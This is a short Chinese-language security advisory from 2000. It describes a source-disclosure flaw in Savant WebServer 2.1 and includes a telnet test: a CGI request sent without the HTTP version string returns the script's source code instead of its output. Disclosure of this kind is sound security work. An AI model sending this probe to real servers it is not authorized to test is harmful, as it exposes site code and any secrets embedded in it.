发布日期：2000-06-08
更新日期：2000-06-09

受影响系统：

Michael Lamont Savant WebServer 2.1

描述：

---

    向一个CGI脚本提交GET请求的时候，如果省略了HTTP版本信息，Savant Web 服务
    将泄露该脚本源代码。

    <* 来源：Drew wizdumb@leet.org *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

$ telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<正确的脚本执行输出>

GET /cgi-bin/script.xyz
<源代码泄露>


建议：

---

暂无

浏览次数：5744
严重程度：0（网友投票）